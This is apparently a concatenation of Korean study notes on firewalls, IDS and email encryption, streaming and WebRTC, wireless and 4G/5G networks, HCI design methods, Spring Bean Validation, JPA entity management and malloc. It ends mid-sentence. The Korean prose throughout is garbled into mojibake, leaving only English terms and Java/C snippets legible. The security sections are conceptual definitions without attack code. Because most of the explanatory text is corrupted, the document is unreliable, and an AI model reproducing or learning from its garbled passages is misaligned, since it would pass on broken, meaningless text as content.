IP spoofing: IP ์ฃผ์๋ฅผ ์์กฐํ์ฌ ๋ด๋ถ ๋คํธ์ํฌ์ ์ ๊ทผํ๋ ๊ณต๊ฒฉ Stateless packet filtering ํจํท ๋จ์๋ก ํจํท์ ํํฐ๋ง ํํฐ๋ง ํ๋ ๊ธฐ์ค : source IP, dest IP, TCP/UDP source, port ๋ฑ ACL(Access Control List) : ํ์ฉ/์ฐจ๋จ ๋ชฉ๋ก Stateful packet filtering TCP ์ฐ๊ฒฐ๋ง๋ค ํจํท ์ํ๋ฅผ ์ถ์ ACL์ check connection column์ด ์ถ์ ์ฌ๋ถ ๊ฒฐ์ Application gateway IP/TCP/UDP ํจํท์ data field๋ฅผ ํ์ธ Intrusion Detection System (IDS) (์นจ์
ํ์ง ์์คํ
) deep packet inspection : ํจํท์ ๋ด์ฉ์ ํ์ธ ํจํท ๊ฐ ์๊ด๊ด๊ณ ์กฐ์ฌ (port scanning, network mapping, Dos attack) multiple IDSs : ์ฌ๋ฌ IDS๋ฅผ ์ฌ์ฉํ์ฌ ํจํท์ ํ์ธ ์ํธํต์ - email ์์ (Alice๊ฐ Bob์๊ฒ ๋ฉ์ผ์ ๋ณด๋ธ๋ค) Confidentiality(๊ธฐ๋ฐ์ฑ) Alice ๋์นญํค K ์์ฑ K๋ก ๋ฉ์์ง ์ํธํ, K๋ก ๋ฉ์์ง ์ํธํ K๋ฅผ Bob์ ๊ณต๊ฐํค๋ก ์ํธํ ์ํธํ ๋ K์ ๋ฉ์์ง๋ฅผ ์ ๋ฌ Bob K๋ฅผ Bob์ ๊ฐ์ธํค๋ก ๋ณตํธํ K๋ก ๋ฉ์์ง ๋ณตํธํ Integrity (๋ฌด๊ฒฐ์ฑ), Authentication(์ธ์ฆ) Alice ๋ฉ์์ง Hash์ Alice์ ๊ฐ์ธํค๋ก ๋์งํธ ์๋ช
๋ฉ์์ง์ ๋์งํธ ์๋ช
์ ์ ๋ฌ Bob ๋ฉ์์ง hash๋ฅผ Alice์ ๊ณต๊ฐํค๋ก ๋ณตํธํ ๋์งํธ ์๋ช
๊ณผ ๋ฉ์์ง hash๊ฐ ์ผ์นํ๋์ง ํ์ธ PGP (Pretty Good Privacy) ๋ฉ์ผ์ ์ํธํํ๋ ์์คํ
AES256(๋์นญํค) ์ฌ์ฉ S/MIME (Secure/Multipurpose Internet Mail Extensions) ๋ฉ์ผ์ ์ํธํํ๋ ์์คํ
์ํธํ + ๋์งํธ ์๋ช
= Confidentiality + Integrity + Authentication Multimedia streaming RTSP (Real-Time Streaming Protocol) RTMP (Real-Time Messaging Protocol) HLS (HTTP Live Streaming) ๋น๋์ค/์ค๋์ค ์กฐ๊ฐ ํ์ผ HTTP ์ ์ก ์ธ์ฝ๋ฉ : H.26 ์กฐ๊ฐํ : 6์ด ์ ๋ HTTP : TCP ๋ฒํผ๋ง ๋๋ฌธ์ ์ค์๊ฐ ๋ชฉ์ ์๋ ๋ถ์ ํฉ MPEG-DASH (Dynamic Adaptive Streaming over HTTP) RTMP WebRTC Plug-in ์์ด ์น๋ธ๋ผ์ฐ์ ์์ ์์ฑ/์์/P2P ๊ณต์ ๊ฐ๋ฅํ๊ฒ ํ๋ ํ์ค API P2P ์๋ ๋ฐฉ์ STUN, TURN, ICE์ ๊ฐ์ NAT Traversal ๊ธฐ์ ์ฌ์ฉ ์ ํธ ๋ฉ์์ง : Socket.io, ์น์์ผ, AJAX long polling STUN (Session Traversal Utilities for NAT) STUN ์๋ฒ์์ ๊ณต์ธ IP ์ฃผ์ ์ ๋ณด์ port๋ฒํธ ์ง์ ์๋ต TURN (Traversal Using Relays around NAT) ํผ์ด ๊ฐ์ ํธ๋ํฝ ๋ฆด๋ ์ด ์๋ฒ ํด๋ผ์ด์ธํธ๊ฐ ๋์ผํ ๋ก์ปฌ ๋คํธ์ํฌ์ ์์นํ์ง ์์ ๊ฒฝ์ฐ ์ฌ์ฉ ICE (Interactive Connectivity Establishment) ๋ธ๋ผ์ฐ์ ๊ฐ Peer๋ฅผ ํตํ ์ฐ๊ฒฐ์ ๊ฐ๋ฅํ๊ฒ ํ๋ ํ๋ ์์ํฌ Wireless and Mobile Networks Elements of a wireless network base station : ์ ์ ๋คํธ์ํฌ์ ์ฐ๊ฒฐ relay: ๋ก์ปฌ์์ ์ ์ ๋คํธ์ํฌ์ ๋ฌด์ ํธ์คํธ ๊ฐ์ ํจํท ์ ์ก์ ๋ด๋น wireless link : ๋ชจ๋ฐ์ผ์ ๊ธฐ์ง๊ตญ์ ์ฐ๊ฒฐํ๋๋ฐ ์ฌ์ฉ infrastructure mode : ๊ธฐ์ง๊ตญ์ ํธ๋ํฐ์ ์ ์ ๋คํธ์ํฌ์ ์ฐ๊ฒฐ handoff : ๋ชจ๋ฐ์ผ์์ AP๋ฅผ ๋ฐ๊พธ๋ฉด์ ํต์ ad hoc mode : ๊ธฐ์ง๊ตญ ์์ด ๋ชจ๋ฐ์ผ ๊ฐ์ ํต์ ๋ฌด์ ํต์ ์ ํน์ง ์ ์ ๋๋น ์ฝํ ์ ํธ ๋ค๋ฅธ ๋ฌด์ ์ฅ์น์์ ๊ฐ์ญ ๋ค์ค ๊ฒฝ๋ก ์ ํ SNR(Signal to Noise Ratio) : ์ ํธ ๋ ์ก์๋น BER(Bit Error Rate) : ๋นํธ ์ค๋ฅ์จ Hidden terminal problem : A-B, B-C ๊ฐ๋ฅ A-C ๋ถ๊ฐ๋ฅ 802.11 LAN base station๊ณผ ๋ฌด์ host๊ฐ์ ํต์
Infrastructure ๋ชจ๋์ BSS(Basic Service Set)์ ํฌํจ๋๋ ๊ฒ
Wireless hosts AP (base station) ad hoc mode: hosts only CSMA : ์ ์ก ์ ์ถฉ๋ ๊ฒ์ฌ -> ์ถฉ๋ ๊ฐ์ง๊ฐ ๋ถ๊ฐ๋ฅ ๋ณด๋ด๋ ์ฌ๋ Sense channel์ด DIFS์ ๋ํด idleํ๋ฉด ํ๋ ์์ ์ ์ก Sense channel์ด busyํ๋ฉด random backoff ํ ack๊ฐ ์ค์ง ์์ผ๋ฉด backoff๋ฅผ ์ฆ๊ฐ, 2๋ฒ ๋ฐ๋ณต ๋ฐ๋ ์ฌ๋ ํ๋ ์์ ๋ฐ์ผ๋ฉด SIFS ํ ack ์ ์ก CA sender๊ฐ ์์ RTS(Request to Send) ํ๋ ์์ BS๋ก ์ ์ก (CSMA ์ฌ์ฉ) BS broadcasts CTS(Clear to Send) to sender (CTS๊ฐ ๋ชจ๋ ๋
ธ๋์๊ฒ ์ ๋ฌ) sender๊ฐ ๋ฐ์ดํฐ ํ๋ ์ ์ ์ก, ๋ค๋ฅธ station์ ์ ์ก ์ง์ฐ advanced capabilities Rate adaptation : SNR(์ ํธ๋ ์ก์๋น)์ BER(๋นํธ ์ค๋ฅ์จ)์ ์ธก์ ํ์ฌ ์ ์ก๋ฅ ์ ์กฐ์ CDMA (Code Division Multiple Access) unique code๊ฐ ๊ฐ ์ฌ์ฉ์์๊ฒ ๋ถ์ฌ encoding: ์๋ณธ ๋ฐ์ดํฐ X chipping ์์ (๋ด์ ์ฐ์ฐ) decodding : encoded ๋ฐ์ดํฐ X chipping ์์ (๋ด์ ์ฐ์ฐ) 4G/5G cellular networks ์ต๋ 100Mbps์ ์ ์ก ์๋ ๊ธฐ์ ํ์ค : 3GPP(3rd Generation Partnership Project) Base station(eNodeB) : wifi AP์ ์ ์ฌ HSS(Home Subscriber Server) : ์ฌ์ฉ์ ์ ๋ณด ์ ์ฅ MME(Mobility Management Entity) : ์ฌ์ฉ์ ์์น ์ถ์ S-GW(Serving Gateway) : ์ฌ์ฉ์ ๋ฐ์ดํฐ ์ ์ก P-GW(Packet Data Network Gateway) : ์ฌ์ฉ์ ๋ฐ์ดํฐ ์ ์ก GTP : GPRS Tunneling Protocol 5G 10๋ฐฐ ๋น ๋ฅธ ์๋, ์ง์ฐ ์๊ฐ 10๋ฐฐ ๊ฐ์, 100๋ฐฐ ๋ง์ ์ฅ์น ์ฐ๊ฒฐ (4G ๋๋น) Design Techniques Contextual Inquiry ์ฌ์ฉ์์ ํ๊ฒฝ์์ ์ฌ์ฉ์์ ํ๋์ ๊ด์ฐฐ Design Funnel ์์ด๋์ด๋ฅผ ํ์ฅํจ๊ณผ ๋์์ ์ถ์ ์ํด์ผ๋ก์ ๊ฒฐ๊ณผ ๋์ถ Double Diamond Discover -> Define -> Develop -> Deliver Storyboarding ์๋๋ฆฌ์ค๋ฅผ ๊ทธ๋ฆผ์ผ๋ก ํํ Prototyping ๋์์ธ์ ํํํ๋ ์ํํธ์จ์ด๋ก ๊ตฌํ ์ข
๋ฅ: Low-fidelity(์ถฉ์ค๋๊ฐ ๋ฎ์), High-fidelity(์ถฉ์ค๋๊ฐ ๋์) User Testing In-lab vs On-site Moderated vs Unmoderated : Exploratory vs Assessment Presentation & Communication Needfinding (์๊ตฌ์ฌํญ ๋์ถ) ์ฉ์ด UI (User Interface) ์ ํ์ ์๊ฐ์ ์ธ ์์
UX (User Experience) ์ ํ์ ์ฌ์ฉํ๋ ์ฌ์ฉ์๊ฐ ๋๋ผ๋ ๊ฒฝํ
CX (Customer Experience) ๊ณ ๊ฐ์ด ์ ํ์ ์ฌ์ฉํ๋ ๊ณผ์ ์์ ๋๋ผ๋ ์ ๋ฐ์ ์ธ ๊ฒฝํ, ์ํ ๋๋ ์๋น์ค์ ๊ตฌ๋งค, ์ฌ์ฉ ์ฌ๋ถ๋ฅผ ๊ฒฐ์ ์ง๋ ์์
SD (Service Design) ์๋น์ค๋ฅผ ๋์์ธํ๋ ๊ฒ
HCI (Human-Computer Interaction) ์ฌ๋ฌ ๊ตฌ์ฑ์์๋ฅผ ์กฐํฉํ์ฌ ์ฌ์ฉ์์๊ฒ ์ต๊ณ ์ ๊ฒฝํ์ ์ ๊ณตํ๊ธฐ ์ํด ์ ํ, ์ ์, ๊ฒฐํฉํ๋ ๊ฒ
SRS (Software Requirement Specification) ์ํํธ์จ์ด ์๊ตฌ์ฌํญ ๋ช
์ธ์
User Requirements, Functional Requirements, Interface Requirements, Performance Requirements… SRS๋ฅผ ๋ฌธ์ํํ๊ธฐ์ ์ ์ฌ์ฉ์๋ฅผ ์ดํดํ๋ ๊ฒ์ด ์ค์ ์ฌ์ฉ์์ ๋ํ ์ดํด ๋ค์ํ ์ฌ์ฉ์์ ํน์ฑ์ ์ดํด : ์ญํ , ๊ฐ์ฑ ์ดํด๊ด๊ณ์(stakeholders)๋ฅผ ๊ณ ๋ ค First degree : ์ง์ ์ ์ผ๋ก ์ ํ์ ์ฌ์ฉํ๋ ์ฌ๋ Second degree : ์ ํ์ ๊ฒฐ๊ณผ์ ์ํฅ์ ๋ฐ๋ ์ฌ๋ Third degree : ์๋น์ค๋ฅผ ์ค์น, ๋ฐฐํฌํ๋ ์ฌ๋ ๋๋ ๊ธฐ๋ฐ ์์คํ
์ฌ์ฉ์ ๋ชฉ์ ํ์
Identify the goals involved in the problem Decompose them into subtasks Abstract into goals Contextual Inquiry (์ํฉ์ ์กฐ์ฌ) Context : ์ฌ์ฉ์์ ํ๊ฒฝ ๊ด์ฐฐ, ์ถ์ํ ๊ธ์ง Partnership : ์ฌ์ฉ์์๊ฒ ๊ณต๊ฐ, ์ฌ์ฉ์์๊ฒ ํ๋๊ณผ ๊ทธ ์ด์ ๋ฅผ ์ง๋ฌธ Interpretation : ์ฌ์ฉ์์ ๋ํ ํด์์ ์ฌ์ฉ์์๊ฒ ๊ณต์ , ์ฌ์ฉ์์ ํผ๋๋ฐฑ์ ๋ฐ์ Focus : ๋ชฉํ์ ์ง์ค The master-apprentice model (๋์ ์ ๋ชจ๋ธ) : ์ฌ์ฉ์(์ ์), ๊ด์ฐฐ์(ํ์)
Contextual Inquiry๊ฐ ์ ์ ํ์ง ์์ ๋
Longidual study : ์ฌ์ฉ์์ ํ๋์ ์ฅ๊ธฐ๊ฐ ๊ด์ฐฐํด์ผํ ๋ Sporadic behavior : ์ฌ์ฉ์์ ํ๋์ด ๋ถ๊ท์นํ ๋ Large target : ์ฌ์ฉ์์ ๋ฒ์๊ฐ ๊ด๋ฒ์ ํ ๋ Diary Study ์ฌ์ฉ์๊ฐ ์ผ์์ ์ผ๋ก ํ๋ ์ผ์ ๊ธฐ๋กํ๋ ๊ฒ
ESM (Experience Sampling Method) ์๊ฐ์ ์ธ ํ๋๊ณผ ๊ฒฝํ์ ์ด์ ์ ๋ง์ถฐ ๊ธฐ๋ก
EMA (Ecological Momentary Assessment) ์ฌ๋ฆฌ์ ํ์์ ๊ถค์ , ๋ถ์ฐ, ๋ณ๋, ์ญํ์ ์ด์ ์ ๋ง์ถฐ ๊ธฐ๋ก
Survey Participatory Design ์ฌ์ฉ์๊ฐ ์ง์ ๋์์ธ์ ์ฐธ์ฌํ๋ ๊ฒ Affinity Diagram (์ ์ฌ๋ ๋ค์ด์ด๊ทธ๋จ) ์์งํ ๋ฐ์ดํฐ๋ฅผ ๋ถ๋ฅํ๋ ๊ฒ
Persona ์ฌ์ฉ์๋ฅผ ๋ํํ๋ ๊ฐ์์ ์ธ๋ฌผ
Learnability ์๋ก์ด UI๋ฅผ ๋ฐฐ์ฐ๋ ๋ฐฉ๋ฒ Learning by Doing Learning by Watching Recognition vs Recall Recognition : ์๊ฐ์ ์์๋ฅผ ๋ณด๊ณ ์ธ์งํ๋ ๊ฒ Recall : ๊ธฐ์ต์ ํตํด ์ธ์งํ๋ ๊ฒ Interaction style Command Language ์ธ๊ณต ์ธ์ด์ ๋ช
๋ น์ด๋ฅผ ์
๋ ฅ
Self Disclosure (์๊ธฐ ๊ณต๊ฐ) : ์ฌ์ฉ ๊ฐ๋ฅํ ๋ช
๋ น์ด๋ฅผ ์๊ฐ์ ์ผ๋ก ํํ Menus and Forms Direct Manipulation ์ฆ๊ฐ์ ์ผ๋ก ๋ฐ์ ์๊ฐ์ ํํ์ ํตํด ์ํธ์์ฉ
Speech Dialog Mental Model ์ฌ๋๋ค์ด ์๊ธฐ ์์ , ๋ค๋ฅธ ์ฌ๋, ํ๊ฒฝ, ์์ ์ด ์ํธ์์ฉํ๋ ์ฌ๋ฌผ๋ค์ ๋ํด ๊ฐ๋ ๋ชจํ
๊ด์ฐฐ, ์ธํฐ๋ทฐ, ์์
๋ถ์์ด ํ์ํ๋ค Conceptual Model ์ ํ์ด ์ด๋ ํ ์๋ฆฌ๋ ๋ฐฉ์์ผ๋ก ์๋ํ๋์ง์ ๋ํ ์ดํด
Content strategy : ๊ฐ ํ์ด์ง์ ๋ํ๋๋ ๋ด์ฉ์ ๊ท์น์ด๋ ๊ฐ๋
์ด ์กด์ฌํ๋๊ฐ? Channel starategy : ์ผ๊ด์ ์ธ ๊ฒฝํ, ์ง์์ ์ธ ๊ฒฝํ, ์ํธ ๋ณด์์ ์ธ ๊ฒฝํ์ ๋ง๋ค์ด๋ด๋๊ฐ? Interaction models : ๋ณดํธ์ ์ธ ํจํด์ ์ฌ์ฉํ๋๊ฐ? Bean Validation Annotation์ ๋ฌ์์ Validation์ ์ํํ ์ ์๋ค. ์ฃผ๋ก jakarta.validation๊ณผ hibernate.validator ๋ ํจํค์ง๋ฅผ ์ฌ์ฉํ๋ค. Dependency Diagram ๊ตฌ์กฐ spring-boot-starter-validation -> hibernate-validator -> jakarta.validation-api
jakarta.validation์์ ์ง์ํ๋ annotation Annotation Description @NotNull null์ด ์๋๊ฐ ("", " " => ํต๊ณผ) @NotEmpty null์ด ์๋๊ณ , size๊ฐ 0์ธ๊ฐ (" " => ํต๊ณผ) @NotBlank null์ด ์๋๊ณ , trimํ ๊ฒฐ๊ณผ๊ฐ empty์ธ๊ฐ @Size ๋ฌธ์์ด, ๋ฐฐ์ด์ ๊ธธ์ด๊ฐ ํด๋น ๋ฒ์์ ์๋๊ฐ @Min ์ซ์๊ฐ ํด๋น ๋ฒ์์ ์๋๊ฐ @Max ์ซ์๊ฐ ํด๋น ๋ฒ์์ ์๋๊ฐ @Email ์ด๋ฉ์ผ ํ์์ ๋ง๋๊ฐ @Pattern Regex(์ ๊ท์)์ ๋ง๋๊ฐ @Past ๊ณผ๊ฑฐ์ ๋ ์ง์ธ๊ฐ @Future ๋ฏธ๋์ ๋ ์ง์ธ๊ฐ @Digits ์ ์, ์์ ์๋ฆฟ์๊ฐ ํด๋น ๋ฒ์์ ์๋๊ฐ @DecimalMin, @DecimalMax ์๋ฆฟ์๊ฐ ํด๋น ๋ฒ์์ ์๋๊ฐ (์์ ์ดํ ์๋ฆฟ์ ํฌํจ) @Positive, @PositiveOrZero, @Negative, @NegativeOrZero hibernate.validator์์ ์ง์ํ๋ annotation Annotation Description @Range ์ซ์๊ฐ ํด๋น ๋ฒ์์ ์๋๊ฐ (์์ ์ดํ ์๋ฆฟ์ ํฌํจ) @Length ๋ฌธ์์ด, ๋ฐฐ์ด์ ๊ธธ์ด๊ฐ ํด๋น ๋ฒ์์ ์๋๊ฐ @URL URL ํ์์ ๋ง๋๊ฐ ์ธ๊ธํ Annotation๋ง๊ณ ๋ค๋ฅธ Annotation๋ ์๋ค. Rest Controller์์ ์ฌ์ฉ Controller
1public ResponseEntity<Customer> postCustomer(@RequestBody @Valid CustomerDTO customerDTO) {...} @Valid Annotation์ ๋ถ์ฌ์ CustomerDTO ๊ฐ์ฒด์ ๋ํ Validation์ ์ํํ๋ค @Valid Annotation์ ๋ถ์ด๋ ๊ฒ์ ๊น๋นกํ์ง ๋ง์ ์์ธ ์ฒ๋ฆฌ
์ ์ฝ๋์ Validation์์ ์คํจํ๋ฉด, MethodArgumentNotValidException์ด ๋ฐ์ํ๋ค ํด๋น ์์ธ๋ ํ๋๋ณ ๋ชจ๋ ์๋ฌ๋ฅผ ๋ด๊ณ ์๋ค ๊ทธ๋๋ก ๋ฐํํ๋ฉด ์์ฒญ ๊ธธ๊ธฐ ๋๋ฌธ์, ๋ณดํต ์๋ ์ฝ๋์ ๊ฐ์ด ํ์ํ ์ ๋ณด๋ง ์ถ์ถํด์ ๋ฐํํ๋ค 1processValidationErrors(MethodArgumentNotValidException e) { 2 List<String> errors = e.getBindingResult().getFieldErrors().stream() 3 .map(error -> error.getField() + ": " + error.getDefaultMessage()) 4 .collect(Collectors.toList()); 5 return new ResponseEntity<>(errors, HttpStatus.BAD_REQUEST); 6} ์๋ Validation Controller์์ Validation์ ์ํํ์ง ๋ชปํ๋ ๊ฒฝ์ฐ, ์๋์ผ๋ก Validation์ ์ํํ ์ ์๋ค ์ด๋, Validator ๊ฐ์ฒด๋ฅผ ์ฃผ์
๋ฐ์์ ์ฌ์ฉํ๋ค 1import jakarta.validation.Validator; 2... 3@Autowired 4private Validator validator; 5... 6var violations = validator.validate(voucher); 7if (!violations.isEmpty()) 8 throw new IllegalArgumentException(violations.stream().findFirst().get().getMessage()); ์ฝ๋์์๋ voucher ๊ฐ์ฒด์ ๋ํ Validation์ ์ํํ๊ณ , ๋ฐ์ํ ์๋ฌ๊ฐ ์๋ค๋ฉด IllegalArgumentException์ ๋ฐ์์ํจ๋ค 1. ํด๋์ค ์ ์ 1@Getter 2@RequiredArgsConstructor 3public class ExceptionResponse { 4 private final LocalDateTime timestamp = LocalDateTime.now(); // 2023-08-01T00:00:57.5995502 5 private final int status; // 400 6 private final String error; // MethodArumentNotValidException 7 private final String message; // ์ด๋ฉ์ผ ํ์์ด ์๋๋๋ค 8 private final String path; // /api/customer 9} ๋ด๊ฐ ์ํ๋ ๋ฐฉ์๋๋ก ํด๋์ค๋ฅผ ์ ์ํ๋ค, ์ฃผ์์๋ ํด๋น ํ๋์ ์์๋ฅผ ์ ์ด๋์๋ค 2. ResponseEntity ๋ง๋๋ ํจ์ ์ ์ 1private ResponseEntity<ExceptionResponse> handleException(HttpStatus status, Exception e, HttpServletRequest request) { 2 ExceptionResponse response = new ExceptionResponse( 3 status.value(), e.getClass().getSimpleName(), e.getMessage(), request.getRequestURI()); 4 return new ResponseEntity<>(response, status); 5} ์์ธ ์ฒ๋ฆฌํ ๋๋ง๋ค ExceptionResponse ๊ฐ์ฒด๋ฅผ ๋ง๋ค๋ฉด ๋ฐ๋ณต๋๋ ์ฝ๋๊ฐ ๋ง์ด ์๊ฒจ ํจ์๋ก ๋ง๋ค์๋ค ์์ธ๊ฐ ๋ฐ์ํ ์ํฉ์ ๋ฐ๋ผ์ HttpStatus๋ฅผ ๋ค๋ฅด๊ฒ ์ง์ ํ ์ ์๋๋ก ํจ์์ ์ธ์๋ก ๋ฐ์๋ค 3. ์์ธ ์ฒ๋ฆฌ 1@ExceptionHandler(NoSuchElementException.class) 2public ResponseEntity<ExceptionResponse> handleNoSuchElementException(NoSuchElementException e, HttpServletRequest request) { 3 return handleException(HttpStatus.NOT_FOUND, e, request); 4} ๋ณธ ํจ์๋ @RestControllerAdvice๊ฐ ๋ถ์ ํด๋์ค์ ์ ์๋์๋ค ์ง์ ์ ์ํ ํจ์๋ฅผ ํธ์ถํด์ ResponseEntity๋ฅผ ๋ง๋ค์ด ๋ฐํํ๋ค ์ ๋ฆฌ ์์ ์์๋ NoSuchElementException์ด ๋ฐ์ํ์ ๋, HTTP ์ํ์ฝ๋๋ 404, body๋ ๋ด๊ฐ ์ ์ํ๋๋ก ์๋ตํ๋ ์ฝ๋์ด๋ค REST Api์์ ์ผ๊ด์ฑ์๊ณ ๊ฐ๊ฒฐํ ์๋ต์ ๋ณด๋ด๊ธฐ ์ํด ํ๋ฒ ์ ๋ฆฌํด๋ณด์๋ค JPA (Java Persistence API) JAVA์ง์์ ORM ๊ธฐ์ ํ์ค, interface ๋ชจ์ Hibernate, EclipseLink, DataNucleus ๋ฑ์ ๊ตฌํ์ฒด๊ฐ ์กด์ฌ EntityManager Entity : RDB์ Table๊ณผ ๋งคํ๋๋ ๊ฐ์ฒด EntityManagerFactory Entity๋ฅผ ๊ด๋ฆฌํ๋ EntityManager๋ฅผ ์์ฐํ๋ ๊ณต์ฅ Thread safe: O EntityManager Entity์ CRUD๋ฑ ๋ชจ๋ ์ผ์ ์ฒ๋ฆฌ Thread safe: X ์์์ฑ ์ปจํ
์คํธ Entity๋ฅผ ์๊ตฌ ์ ์ฅํ๋ ํ๊ฒฝ EntityManager๋ Entity๋ฅผ ์์์ฑ ์ปจํ
์คํธ์ ๋ณด๊ดํ๊ณ ๊ด๋ฆฌํ๋ค ์์์ฑ ์ปจํ
์คํธ์์ ๊ด๋ฆฌ๋๋ Entity๋ ์๋ณ์๊ฐ์ ๊ฐ์ ธ์ผ ํ๋ค (ID) -> key-value๋ก Entity๋ฅผ ๊ด๋ฆฌํ๊ธฐ ๋๋ฌธ flush: ์์์ฑ ์ปจํ
์คํธ์ ๋ณ๊ฒฝ ๋ด์ฉ๋ค์ DB์ ๋๊ธฐํํ๋ ์์
์์์ฑ ์ปจํ
์คํธ์ ์ด์ 1์ฐจ ์บ์ ๋์ผ์ฑ ๋ณด์ฅ ํธ๋์ญ์
์ ์ง์ํ๋ ์ฐ๊ธฐ ์ง์ฐ ๋ณ๊ฒฝ ๊ฐ์ง ์ง์ฐ ๋ก๋ฉ Entity์ Life cycle ๋น์์ (New / Transient): ์์์ฑ ์ปจํ
์คํธ์ ์ ํ ๊ด๊ณ๊ฐ ์๋ ์ํ ์์ (Managed): ์์์ฑ ์ปจํ
์คํธ์ ์ ์ฅ๋ ์ํ ์ค์์ (Detached): ์์์ฑ ์ปจํ
์คํธ์ ์ ์ฅ๋์๋ค๊ฐ ๋ถ๋ฆฌ๋ ์ํ ์ญ์ (Removed): ์ญ์ ๋ ์ํ ์ ์ฅ 1EntityManager em = emf.createEntityManager(); // Entity manger ์์ฑ 2EntityTransaction transaction = em.getTransaction(); // Transaction ํ๋ 3transaction.begin(); 4 5Customer customer = new Customer(); // ๋น์์ ์ํ 6customer.setId(1L); 7customer.setFirstName("John"); 8customer.setLastName("Doe"); 9 10em.persist(customer); // ์์ํ 11 12transaction.commit(); // Transaction commit ์กฐํ 1// Customer(1L) ๋ง๋ค์ด์ commit 2... 3Customer entity = em.find(Customer.class, 1L); // 1์ฐจ ์บ์์์ ์กฐํ, query ์คํ X 4em.clear(); // ์์์ฑ ์ปจํ
์คํธ๋ฅผ ์ด๊ธฐํ 5Customer entity = em.find(Customer.class, 1L); // DB์์ ์กฐํ, query ์คํ O ์์ 1// Customer(1L) ๋ง๋ค์ด์ commit 2... 3Customer entity = em.find(Customer.class, 1L); 4entity.setFirstName("guppy"); 5entity.setLastName("hong"); 6 7transaction.commit(); // update! ๋ณ๊ฒฝ๊ฐ์ง (dirty checking) JPA๋ Entity๋ฅผ ์์ํํ ๋์ ์ต์ด ์ํ๋ฅผ ์ค๋
์ท์ผ๋ก ์ ์ฅํด๋๋ค flush ์์ ์ ์ค๋
์ท๊ณผ ๋น๊ตํด์ ๋ณ๊ฒฝ๋ Entity์ ๋ํด update query๋ฅผ ์ํํ๋ค ์ญ์ 1// Customer(1L) ๋ง๋ค์ด์ commit 2... 3Customer entity = em.find(Customer.class, 1L); 4em.remove(entity); 5 6transaction.commit(); // delete! Entity Mapping ๋จ์ผ ์ํฐํฐ๋งคํ @Entity : ๊ธฐ๋ณธ ์์ฑ์ ํ์ @Table : name์ผ๋ก ๋งคํํ ํ
์ด๋ธ ์ด๋ฆ ์ง์ @Id GenerationType - AUTO, IDENTITY, SEQUENCE, TABLE @Column name, length, unique, columnDefinition… insertable=updatable, nullable @Enumerated EnumType - ORDINAL, STRING ์ฐ๊ด๊ด๊ณ ๋งคํ ํ
์ด๋ธ์ ์ธ๋ํค๋ก ์ฐ๊ด ๊ด๊ณ๋ฅผ ๋งบ๋๋ค ๊ฐ์ฒด๋ ์ฐธ์กฐ๋ฅผ ํตํด ์ฐ๊ด ๊ด๊ณ๋ฅผ ๋งบ๋๋ค 1. ์ฐธ์กฐ์ ๋ฐฉํฅ ๋จ๋ฐฉํฅ, ์๋ฐฉํฅ
ํ
์ด๋ธ์ ํญ์ ์๋ฐฉํฅ์ด๋ค 2. ์ฐ๊ด ๊ด๊ณ ์ฃผ์ธ ๊ฐ์ฒด๊ฐ ์๋ฐฉํฅ ์ฐ๊ด ๊ด๊ณ๋ฅผ ๋งบ์ ๋, ์ฐ๊ด ๊ด๊ณ์ ์ฃผ์ธ์ ์ ํด์ผ ํ๋ค ์ฃผ์ธ๋ง ์ธ๋ ํค๋ฅผ ๊ด๋ฆฌ(๋ฑ๋ก, ์์ ) ํ ์ ์๋ค, ์ฃผ์ธ์ด ์๋ ์ชฝ์ ์ฝ๊ธฐ๋ง ๊ฐ๋ฅ mappedBy๋ฅผ ํตํด ์ฃผ์ธ์ด ์๋ ์ํฐํฐ์์ ์ฃผ์ธ์ ์ง์ ํ๋ค 3. ๋ค์ค์ฑ ManyToOne, OneToMany, OneToOne, ManyToMany
JoinColumn(name="", referencedColumnName="") ์ธ๋ ํค๋ฅผ ๋งคํํ ๋ ์ฌ์ฉ name: ๋งคํํ ์ธ๋ ํค ์ด๋ฆ referencedColumnName: ์ธ๋ ํค๊ฐ ์ฐธ์กฐํ๋ ๋์ ํ
์ด๋ธ์ ์ปฌ๋ผ๋ช
์์ - ์ฐ๊ด๊ด๊ณ ํธ์ ๋ฉ์๋ ์๋ฐฉํฅ ์ฐ๊ด๊ด๊ณ์์ ํ์ชฝ์๋ง ์ค์ ํ๋ฉด ์์ชฝ ๋ค ์ค์ ํด์ฃผ๋ ๋ฉ์๋๋ฅผ ๋ง๋ค ์ ์๋ค
์๋ฐฉํฅ ์ฐ๊ด๊ด๊ณ์ ๊ทธ ํธ์๋ฉ์๋๋ฅผ ์ ์ํ ์ฝ๋์ด๋ค
Member.java
1@OneToMany(mappedBy = "member") 2private List<Order> orders = new ArrayList<>(); 3 4public void addOrder(Order order) { 5 this.orders.add(order); 6 order.setMember(this); 7} Order.java
1@ManyToOne 2@JoinColumn(name="member_id", referencedColumnName = "id") 3private Member member; 4 5public void setMember(Member member) { 6 if (this.member != null) { 7 this.member.getOrders().remove(this); 8 } 9 this.member = member; 10 member.getOrders().add(this); 11} 12-memory-1 ๋ฉ๋ชจ๋ฆฌ์ ๊ดํ ๋ถํธํ ์ง์ค ๋ฉ๋ชจ๋ฆฌ๋ ๋ฌดํ์ ์์์ด ์๋๋ค ๋์ ๋ฉ๋ชจ๋ฆฌ ํ ๋น ์ง์ (explicit) vs ๊ฐ์ (implicit) ๋ฉ๋ชจ๋ฆฌ ํ ๋น๊ธฐ ์ง์ ํ ๋น : ์์ฉํ๋ก๊ทธ๋จ์ด ํ ๋นํ๊ณ , ๋ฐํํ๋ค ex) malloc, free ๊ฐ์ ํ ๋น : ์์ฉํ๋ก๊ทธ๋จ์ด ํ ๋นํ์ง๋ง, ๋ฐํํ์ง๋ ์๋๋ค ex) java์ garbage collector ํ๋ก์ธ์ค์ ๋ฉ๋ชจ๋ฆฌ ์ด๋ฏธ์ง ์คํ์ ์๋๋ก, ํ์ ์๋ก ์ฑ์ฅํ๋ค sbrk ํจ์๊ฐ ์ถ๊ฐ์ ์ธ ํ ๋ฉ๋ชจ๋ฆฌ๋ฅผ ์ด์์ฒด์ ๋ก๋ถํฐ ์์ฒญํ๋ค (brk ํฌ์ธํฐ ์ด๋) Malloc package 1#include <stdlib.h> 2void *malloc(size_t size) 3// ์ฑ๊ณต์ : ์ต์ size ๋ฐ์ดํธ์ ๋ฉ๋ชจ๋ฆฌ ๋ธ๋ก์ ํฌ์ธํฐ๋ฅผ ๋ฐํ (๋๊ฒ 8๋ฐ์ดํธ ๋จ์๋ก ๋ง์ถ์ด) 4// ์คํจ์ : NULL๋ฆฌํด, set errno 5 6void free(void *p) 7// ๊ฐ์ฉ ๋ฉ๋ชจ๋ฆฌ ํ์ ๊ฐ๋ฆฌํค๋ 